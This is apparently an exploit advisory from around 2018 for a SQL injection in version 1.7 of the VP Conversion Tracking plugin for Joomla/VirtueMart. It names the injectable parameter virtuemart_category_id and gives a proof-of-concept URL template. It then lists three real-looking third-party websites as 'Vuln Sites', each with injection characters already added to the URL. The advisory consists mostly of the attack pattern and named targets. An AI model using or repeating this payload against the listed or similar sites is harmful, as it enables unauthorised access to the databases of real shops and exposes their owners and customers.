Joomla VP Conversion Tracking 1.7 SQL Injection

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# Exploit Title: VP Conversion Tracking Plugin - SQL Injection Vulnerability  
# Google Dork: N/A  
# Date: 02.01.2018  
# Author: Abde Ouabala (@AbdeOuabala)  
# url : https://www.virtueplanet.com/extensions/vp-conversion-tracking  
# Version : 1.7  
# Tested on: BackBox Linux  
#  
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#  
# Description : plugin that helps you to track conversations of your Ads  
from all advertising platforms like Google AdWords,  
Facebook Ads, Shopper Approved Customer Survey, Bing Ads etc.  
#  
#  
# Vulnerable Parameter : virtuemart_category_id  
#  
#  
#POC: index.php?option=com_virtuemart&view=category&virtuemart_category_id=[SQL HERE(--)]  
  
#  
#Vuln Sites:  
  
http://demos.virtueplanet.com/vm3/index.php?option=com_virtuemart&view=category&virtuemart_category_id=3"'--&lang=en&Itemid=151  
https://www.nordmograph.com/extensions/index.php?option=com_virtuemart&view=category&virtuemart_category_id=20--&Itemid=58  
https://www.oread.eu/index.php?option=com_virtuemart&view=category&virtuemart_category_id=45--  
  
######################  
# Discovered by : Abde Ouabala (https://www.facebook.com/Sh3ll.Inj3ctor)  
# Greetz : Gaa3 Lhbab  
######################  
`